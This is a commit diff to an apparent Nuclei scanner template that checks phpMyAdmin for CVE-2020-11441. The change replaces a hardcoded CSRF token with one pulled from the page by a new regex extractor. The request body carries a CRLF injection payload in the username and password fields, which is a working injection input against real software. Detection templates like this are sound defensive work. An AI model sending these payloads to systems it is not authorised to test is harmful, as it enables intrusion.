added token extractor

http/cves/2020/CVE-2020-11441.yaml

@@ -34,7 +34,7 @@ http:
         Host: {{Hostname}}
         Content-Type: application/x-www-form-urlencoded
 
-        set_session={{session}}&pma_username=%0D%0Atest:crlfinjection=1%0D%0A&pma_password=%0D%0Atest:crlfinjection=1%0D%0A&server=1&route=%2F&lang=en&token=4725334b3c5b516e4b537c356178426a
+        set_session={{session}}&pma_username=%0D%0Atest:crlfinjection=1%0D%0A&pma_password=%0D%0Atest:crlfinjection=1%0D%0A&server=1&route=%2F&lang=en&token={{token}}
 
     matchers-condition: and
     matchers:
@@ -55,3 +55,11 @@ http:
         regex:
           - 'name="set_session" value="([a-z0-9]+)"'
         internal: true
+
+      - type: regex
+        part: body
+        name: token
+        group: 1
+        regex:
+          - 'name="token" value="([a-z0-9]+)"'
+        internal: true